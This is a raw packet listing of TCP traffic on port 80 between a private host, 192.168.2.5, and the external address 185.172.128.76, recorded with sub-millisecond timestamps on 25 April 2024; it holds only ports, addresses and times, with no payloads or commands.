Apr 25, 2024 21:48:01.358598948 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.358618975 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.358635902 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.358635902 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.358658075 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.358660936 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.358727932 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.358767033 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.358767033 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.358772993 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.358838081 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.358850956 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.358876944 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.358876944 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.358913898 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.358936071 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.358957052 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.358957052 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.359015942 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.359055042 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.359055042 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.359250069 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.359308958 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.359321117 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.359347105 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.359347105 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.359352112 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.359385967 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.359388113 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.359388113 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.359421968 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.359433889 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.359460115 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.359460115 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.359464884 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.359508991 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.359508991 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.359524012 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.359548092 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.359586000 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.359586000 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.359601974 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.359626055 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.359662056 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.359662056 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.359699011 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.359777927 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.359816074 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.359816074 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.359842062 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.359885931 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.359889984 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.359958887 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.359971046 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.359998941 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.359998941 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.360121965 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.412503004 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.412520885 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.412566900 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.412607908 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.412651062 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.412655115 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.412694931 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.412705898 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.412722111 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.412739992 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.412743092 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.412775040 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.412786007 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.412810087 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.412857056 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.412869930 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.412882090 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.412895918 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.412909985 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.412914038 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.412945032 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.413009882 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.413027048 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.413049936 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.413060904 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.413084984 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.413121939 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.413150072 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.413162947 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.413173914 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.413197994 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.413211107 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.413233995 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.413274050 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.413290024 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.413306952 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.413331032 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.413340092 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.413341999 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.413381100 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.413410902 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.413423061 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.413431883 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.413450003 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.413475990 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.413476944 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.413491964 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.413516998 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.413542032 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.413562059 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.413602114 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.413620949 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.413635015 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.413661003 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.413677931 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.413678885 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.413712978 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.413747072 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.413783073 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.413798094 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.413836956 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.413853884 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.413894892 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.413969994 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.413983107 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.413992882 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.414010048 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.414021015 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.414032936 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.414042950 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.414068937 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.414074898 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.414081097 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.414104939 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.414119959 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.414128065 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.414143085 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.414153099 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.414194107 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.414216042 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.414227962 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.414237976 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.414254904 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.414266109 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.414278984 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.414289951 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.414307117 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.414314032 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.414328098 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.414346933 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.414355040 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.414374113 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.414386034 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.414412975 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.414416075 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.414431095 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.414455891 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.414467096 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.414489031 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.414503098 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.414530993 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.414542913 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.414594889 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.414608955 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.414635897 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.414654970 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.414671898 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.414717913 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.414741993 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.414755106 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.414779902 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.414792061 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.414858103 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.414874077 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.414896011 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.414911032 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.414921999 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.414957047 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.414961100 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.414988995 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.414994001 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.415028095 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.415061951 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.415075064 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.415100098 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.415107012 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.415113926 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.415121078 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.415147066 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.415153980 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.415189028 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.415189028 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.415256023 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.415270090 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.415280104 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.415296078 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.415317059 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.415333986 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.415357113 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.415376902 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.415400982 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.415400982 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.415419102 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.415441036 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.415468931 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.415472031 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.415488005 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.415524006 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.415524006 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.415565014 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.415576935 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.415610075 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.415734053 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.415765047 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.415765047 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.416027069 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.416064024 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.416066885 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.416101933 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.416132927 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.416169882 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.416254997 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.416268110 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.416277885 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.416290045 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.416290998 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.416306019 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.416335106 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.416351080 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.416363955 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.416373968 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.416399002 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.416399002 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.416423082 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.470011950 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.470026016 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.470046043 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.470077038 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.470124006 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.470186949 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.470197916 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.470204115 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.470242977 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.470263004 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.470272064 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.470284939 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.470305920 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.470313072 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.470343113 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.470343113 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.470382929 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.470393896 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.470407009 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.470427990 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.470434904 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.470457077 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.470470905 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.470491886 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.470515013 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.470531940 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.470552921 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.470558882 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.470571995 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.470597029 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.470618963 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.470633030 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.470669031 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.470671892 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.470680952 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.470707893 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.470715046 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.470724106 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.470752954 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.470774889 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.470788956 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.470799923 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.470817089 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.470837116 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.470866919 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.470875025 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.470900059 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.470910072 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.470910072 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.470932007 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.470935106 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.470967054 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.470995903 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.471031904 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.471056938 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.471071959 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.471081018 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.471092939 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.471107960 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.471111059 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.471122026 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.471152067 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.471172094 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.471184969 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.471209049 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.471223116 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.471246004 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.471282005 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.471316099 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.471323013 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.471354961 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.471375942 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.471390009 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.471429110 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.471429110 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.471437931 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.471472025 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.471474886 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.471493006 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.471514940 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.471530914 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.471534967 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.471549034 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.471575975 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.471595049 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.471604109 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.471646070 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.471648932 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.471689939 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.471704006 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.471741915 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.471751928 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.471765041 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.471793890 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.471818924 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.471831083 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.471853971 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.471859932 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.471879005 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.471894026 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.471900940 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.471916914 CEST	80	49704	185.172.128.76	192.168.2.5
